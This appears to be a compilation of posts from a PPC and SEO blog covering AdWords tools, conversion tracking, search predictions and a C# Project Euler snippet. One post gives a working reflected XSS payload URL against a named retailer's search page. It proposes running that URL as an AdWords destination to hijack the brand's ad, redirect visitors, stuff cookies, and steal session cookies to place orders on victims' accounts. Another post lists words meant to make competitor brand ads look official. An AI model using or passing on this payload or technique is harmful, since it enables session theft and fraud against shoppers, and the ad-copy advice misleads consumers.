Mr. Greyhat | Adventures into the world of Search Marketing with Pay Per Click (PPC) and Search Engine Optimization (SEO)

C# Project Euler

I’m currently developing software in C# using the AdWords API to create dynamic ad copy. My first project is completed, and i’m happy with it. It controls a portfolio of flights information, keeping ads directing to the cheapest flights and the ad copy matching flight prices.Anyway.. I’ve decided to pratice my C# by doing the 200+ problems of Project Euler. So here’s problem 1, in C#Project Euler Problem 1[code] int finalval = 0; for (int i = 0; i != 1000; i++) if (i % 5 == 0 || i % 3 == 0)                      finalval += i;[/code]  Fairly simple. Roll on the next.. 

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Quality Score about to change.

This is pretty old news, but google quality score is about to change.. it’ll be a numeric system from 0-10 to describe your quality score. Perhaps now we’ll be able to run reports against it.

Additionally, i’m sitting here at the Google Developer Conference 2008 listening to how Google intend to take over the world. It seems they are hedging their online bets by pushing their weight behind Python and Javascript. As for the commercial aspect, attacking the microsoft position using cloud computing is clearly their obvious vision.

I did get a nice USB lego man stick..

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adCenter Desktop Beta..

So, here i am playing with the adCenter desktop beta. I’ll chronical my experience:

1. I signed up and downloaded and installed without Administrator priviledges, I was told I would need them. I didn’t.

2. It’s downloading all the accounts now (45 accts), some of them are large but it’s moving quickly. The account download process is definitely faster than adwords editor at this point.

System requirements

Microsoft adCenter Desktop requires the following system configuration:

… only keywords left to download now..

 Thoughts so far- a more relevant progress bar would be really good. Something that shows numbers or actual percentages. A brief look at the api makes me think this would be very possible.

Ok, i’ve got it.

This is actually very nice. Grouping related accounts into sub accounts in a tree. Ad text is easy to change. It seems to crash extremely easily, unfortunately. Themenu system is very 2007officey, and it’s nice and clean. I’ve made a text ad change, and it uploaded very easily.  Adding a keyword is very easy although I’m not a huge fan of having to click ’save’ after every change. In adwords, a change is just saved in the interface.

Grabbing stats is  fairly slow, and you can only use preset periods of time.  Infact - I couldn’t get any stats at all. I think it’s likely that it is grabbing stats for all of the 50 or so accounts I have listed. This is fairly inefficient, and it should grab stats on the fly..

Currently there is no reporting tab, as there isn’t one in AdWords. It’s clearly based directly on adwords editor.

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XSS, Adwords, affiliates.

It’s fairly clear that the majority of people know about blackhat ppc affiliate techniques. But how can you take these a step further, were you so inclined..

The nature of this method lies in marrying two technologies together. The problem with XSS exploits is the lack of targeted visitors via your link. Current methods include sending high volumes of spam e-mail with an apparently valid link. They marry phishing with XSS. Then when someone bites, you clone their session. There are inherent flaws with this method.

Adwords allows you to direct cheap targeted traffic for a brand site, that you have discovered an xss exploit in. Lets take; for example - Viking Direct. A huge company and affiliate program.

You could hijack their brand ad with the following destination url:

http://www.viking-direct.co.uk/catalog/search.do?Ntt=%3Cscript%3Ewindow.location%3D%22http%3A%2F%2Fwww.yourdestinationurl.co.uk%22%3B%3C/script%3E&No=0&N=6&Ntk=all%7Call&Ntx=mode+matchpartialmax&Nty=1

What is the benefit? You can gain an appearance of authenticity, their brand ad is already domain directed. You could insert your own affiliate redirect. You could change the script and insert an invisible iframe to load whatever you wished. For example - Stuff cookies, lots of them.

Or grab a document.cookie - and log into someone elses sessions. Make orders on their account, buy yourself a tv. That sort of bad stuff.

Using adwords and XSS together is not currently being exploited probably because there is some vital knowledge that is required to pull this off. But let me tell you, it’s extremely easy. I could have fished hundreds of session ids this morning from Viking Direct were I so inclined and go get myself those fifty 60″ tvs that my house just really needs.

Childs play..

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Atlas vs. Google Conversion tracking, the percentage difference.

I’m getting a tad sick of old addages. ‘Content doesn’t work!’ ‘Google conversion tracking is inaccurate!’ . I hear blanket statements like this on a daily basis by people with no experience in either. It seems that the search world is a collective game of chinese whispers, because everyone is afraid of losing their competitive edge. The competitive edge is the service generally, as performance is relatively easy to achieve realitistically.

I did a little test with google conversion tracking and foudn the following; a 0.5% inaccurate over a month with Google conversion tracking for one client, and a 2% inaccuracy for another.

What do these numbers show? Well, I would definitely make bidding decisions based on google conversion tracking. I intend to take this a step further and use client back end data as a comparison. Why? Because I have a sneaking suspicion that the inaccuracy is actually with Atlas.

Additionally, I intend to perform a comparison between Atlas, TD Searchware4 (bidbuddy) and GCT. Compare these with backend data and decide which is most accurate.

After this, I will decide if I am going to incorporate Google Conversion Optimizer into one of my accounts, as I wish to test it and see how it it performs…

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Keyword research tool is changing..

So google is/has changed it’s keyword research tool, to give exact impression values for the previous month for each keyword. This replaces the temperature style ‘bar’ that gives a rough indication. This change will be widely greeted across both PPC/SEO roles for various tasks.

What’s the next step for companies to do with this data?

1. Code a crawler to push this data on a monthly basis into a sql database. Store it. Use it for pitches. (easy)

2. Or - Create some OCR app that pulls the most recent impression data via api, then pulls the google trends image for that term and extrapolates values based on the graph. Sure it won’t be perfect, but it’ll be accurate to an acceptable degree (to the 1000th impression)

Useful for pitches, analyzing terms, seo targeting, ppc targeting, competitor targeting. Costing calculations.

etcetc.

Well, I’ll start working on number two then..

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Local Business Ads Go Live in Adwords

Quick primer - this might be clear. But it works!

You can now easily make a map appear by your ad, but inserting a local business ad within adwords to a specific adgroup. Google will then decide to show it based on: Users IP, or search term of a location.

I.e.: Broad matched term + location term = Advert + Relevant LBA in adgroup.

Example-
Comet London - Suposing there is a Comet LBA ad for London in the Comet brand adgroup, then this term will cause a Comet local business ad to appear.

If you someone searches for:
Comet - And their IP shows they are in York and you have a LBA for the ad group in Yorkshire - then the LBA ad will appaer for the York store.
If someone has an IP in York, but searches for Comet London - the london term will overwrite the geolookup.

Now, when the replacement happens, the entire Local Business Ad replaces the original ad. Infact technically, you no longer need normal ads at all.

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Where is search going?

Been so busy with my projects recently (two almost ready to launch..) that I haven’t had any time at all to write in this. Until today.
I’ve been considering the direction that search is going, and many people have some very wide ranging ideas. Here’s a list that I found on this thread..

1. Regrouping of universal results by concept instead of content type, for rapid disambiguation of concepts related to a query and better targeted search advertisements.
2. Creator labeled content using something like openID, with metadata citing information such as editor, site owner, content creator, approved syndication locations, etc.
3. Object level ranking for named entities, with more answers shown directly within search results, and more final destination links (like Google’s site links) listed under a search result, including results from other sites.
4. Better use of facial recognition and image recognition techniques so that statistical image models can be used to index pictures that don’t have accompanying meta data.
5. Better use of user information in search sessions culled from query logs and tracking data from browsing history to aid in query expansion and refinement suggestions for informational and transactional queries, and in determining best final destination pages for navigational searches.
6. Increased use of geolocation information with mobile phones to identify the locational sources of queries, and to automatically tag mobile phone camera images and identify landmarks and locations, provide private shared maps, supply human friendly driving and walking and transit directions with ads for businesses and services along the way.
7. Search kiosks in shopping and resort areas, tied to billboard advertising, displaying business sales and available inventories and coupons and menus and wait times at restaurants, enabling the taking of reservations for those restaurants, and more.
8. Present day and future looking decision-making search tools for business and government and policy makers, based upon information taken from sources like news articles/announcements/press releases, that can enable those decision makers to base their actions on a more informed understanding of the activities that are, and will be taking place around them.
9. A deeper integration of desktop and Web based search, providing automated query results related to the content being used or recently used or viewed by people working upon desktop documents, reading emails, updating calendars, etc.
10. Targeted online advertising based upon actions taken offline, such as credit card purchase, television viewing, attending events, and others.
I think 7 and 10 are the most realistic. 10 in particular is very likely, and I base this on the introduction of both Google TV Ads (which can be worked into Google Analytics) and Google Press Ads (which.. can be worked into Google Analytics). As these two features grow, many ‘brokers’ in media firms will find there jobs increasingly more competitive as the advertising space becomes more accessible. This is a very very good thing. Competition is good.

I’m always hearing people talk about how social networking, and targeted ads based on demographics is going to be the next big deal. The only problem I have with this is that what advertisers want is volume, not lower costs. Advertisers already work to CPAs from the TV/press world, that are usually 5-10x higher than search. I have clients who I could offer a 50% drop in CPA for a 10% drop in volume from search, and they would decline. In an advertisers world - well we just want more volume. Because of this, I think that the future of search will be mobile, just due to accessibility. As handsets become more internet designed, volumes will increase. In Japan people often buy all sorts of products via mobile browser, so withdrawing the access restriction (a large computer) is the best way to increase volumes.

One person mentioned search analysis going a stage further and ‘reading’ documents for you, making results considerably more relevant. I think this would be an incredible feat of programming, that will eventually happen. But will increase search complexity- probably not for everyone.  A future Google pretender will produce something of this kind for the academic/research world I fancy. An indexing service with considerable depth, that will likely require some training to use. Then again - Google will probably produce this themselves.

My overall prediction is fairly simple; the convergence of advertising technologies- TV/Press/Online into a single entity. And the rise of Mobile internet, with the next (possibly next, next) generation of handsets. Full streaming content to the handset, music/video and voip?

Anyway..

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Where have I been?

Lots of things going on, for example i’ev been workign on my project that monitors terms. A tracking solution for PPC, which should be in open beta shortly.

Uh, that’s it. I’ll put a more solid update sometime soonish.

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Words to include in your brand bidding campaign.

5th of May - a lot of brand bidding campaigns are going to go live around the UK. It’s going to be extremely exciting to watch them pop up! I, for one, will be monitoring it closely. Here are some suggested terms to place in your ad copy, to make things seem a little more.. relevant?

official
accredited
approved
authentic
authenticated
authoritative
authorized
certified
correct
decided
decisive
definite
endorsed
established
legitimate
licensed
ordered
positive
precise
recognized
valid

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